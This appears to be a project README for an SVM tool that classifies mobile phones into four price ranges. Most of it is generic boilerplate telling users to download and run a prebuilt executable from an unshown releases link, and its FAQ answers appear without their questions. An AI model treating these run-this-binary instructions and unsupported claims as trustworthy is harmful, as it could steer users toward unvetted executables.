Welcome to the mobile-price-classification-svm project! This application helps you predict the price range of mobile phones using their specifications. You can classify devices into four price categories quickly and efficiently.
Before you download the application, ensure your computer meets the following requirements:
- Operating System: Windows 10 or later, macOS, or a modern Linux distribution.
- RAM: At least 4 GB of RAM.
- Storage: Minimum of 200 MB free disk space.
- Network: Active internet connection for downloading.
- User-Friendly Interface: Simple and intuitive design for anyone to use.
- Fast Predictions: Get results quickly using the SVM algorithm.
- Accurate Classifications: Classify mobile phones into four price categories based on hardware specifications.
- Open Source: This project is open for contributions and improvements.
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Download the Application: Visit the releases page to download the latest version: Download the latest release.
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Install the Application:
- For Windows:
- Locate the downloaded
.exefile and double-click it to start the installation.
- Locate the downloaded
- For macOS:
- Open the downloaded
.dmgfile and drag the application into the Applications folder.
- Open the downloaded
- For Linux:
- Extract the downloaded file using the terminal and run the executable file.
- For Windows:
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Open the Application: After installation, find the application in your programs list and launch it.
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Input Specifications: Enter the mobile phone specifications like RAM, Battery Power, and CPU cores in the provided fields.
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View Results: Click on the “Predict” button to see the price range classification for your mobile phone.
If you run into issues, try the following:
- Application Won’t Open: Ensure your computer meets the system requirements.
- Error Messages: Check if you entered the specifications correctly.
- Slow Predictions: Close other applications to free up system resources.
The application uses a Support Vector Machine model to analyze the specifications you provide and classify mobile phones into four different price ranges.
Yes, the application does not store any personal information. It uses only the data you input for predictions.
Absolutely! We welcome contributions. Check out the guidelines in the repository for how to get started.
For questions or feedback, you can reach out via the repository issues section or contact the maintainers through GitHub.
To get started with the application, visit the releases page to download the latest version: Download the latest release. Follow the installation instructions above to set up the application on your device.
Enjoy predicting mobile prices with ease!